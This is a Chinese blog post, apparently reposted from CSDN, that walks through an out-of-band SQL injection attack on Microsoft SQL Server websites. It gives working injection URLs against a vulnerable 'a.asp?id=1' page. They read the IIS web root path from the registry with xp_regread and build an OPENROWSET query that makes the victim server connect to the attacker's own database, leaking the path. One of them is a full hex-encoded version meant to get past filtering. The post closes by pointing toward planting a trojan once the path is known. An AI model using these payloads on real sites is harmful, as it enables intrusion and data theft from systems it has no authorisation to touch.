跨站式SQL注入攻击思路

30次阅读

共计 3340 个字符,预计需要花费 9 分钟才能阅读完成。

 

SQL 可以连接外部的数据库。。

于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库 (这样的权限比较小),然后在本地启动一个 SQL server,并且用 SA 的身份在 SQL 事件探测器里边建立一个跟踪。

尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。。

提示必须是 sysadmin 的身份。。失败。。

换一个思路:

只要你 SQL 敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。。

于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。。

第一次尝试,首先还是执行 create table [dbo].laokai)– 建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

DECLARE @result varchar(255) exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots’, ‘/’ ,@result output insert into laokai (cha8) values(‘SELECT a. FROM OPENROWSET(”SQLOLEDB”,” 你的 IP”;”sa”;” 密码 ”, ”SELECT FROM pubs.dbo.authors where au_fname=””’ + @result + ”””’)AS a’);–

这段代码什么意思哪? 就是把网站的路径信息写入数据库。。也不是单纯的写,写得同时构造一个 SQL 语句,这个语句的执行结果是给 laokai 这个数据库的 cha8 字段增加了这样的一行记录。

SELECT a. FROM OPENROWSET(‘SQLOLEDB’,’ 你的 IP’;’sa’;’ 密码 ’, ‘SELECT FROM pubs.dbo.authors where au_fname=”C:Inetpub,,1”’)AS a

其中的 C:Inetpub,,1 就是注册表记录的根目录, 最后要做的是:

DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);–

这样就等于执行了

SELECT a. FROM OPENROWSET(‘SQLOLEDB’,’ 你的 IP’;’sa’;’ 密码 ’, ‘SELECT FROM pubs.dbo.authors where au_fname=”C:Inetpub,,1”’)AS a

这一条语句。。。同时你会在事件探测器那边会显示

SELECT * FROM pubs.dbo.authors where au_fname=’C:Inetpub,,1′

其中的 C:Inetpub 就是网站的路径。。调试成功。。

现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点 a.asp?id=1, 怎么做呢?

a.asp?id=1;create table [dbo].laokai)–

返回正常, 我们建立了一个叫 laokai 的表,有个字段叫 cha8, 然后:

a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots’, ‘/’ ,@result output insert into laokai (cha8) values(‘SELECT a. FROM OPENROWSET(”SQLOLEDB”,” 你的 IP”;”sa”;” 密码 ”, ”SELECT FROM pubs.dbo.authors where au_fname=””’ + @result + ”””’)AS a’);–

出错了。。出错信息被屏蔽了。。怎么办? 经过研究发现是里边的某些字符例如 + 号需要转化成 16 进制。。或许还有别的地方要转化。。怎么办啊?

于是写了一个 ASCII 转化 16 进制的工具,把全部的代码转化一下,然后注入就 OK 了。。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了), 最后自然是执行上述语句了。。

a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%5F%66%6E%61%6D%65%3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20

执行成功。。。

a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);–

网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

”SELECT * FROM pubs.dbo.authors where au_fname=””’ + @result + ”””’ 部分,修改成 insert 把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。

作者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_…
版权声明:本文为博主原创文章,转载请附上博文链接!

正文完
 0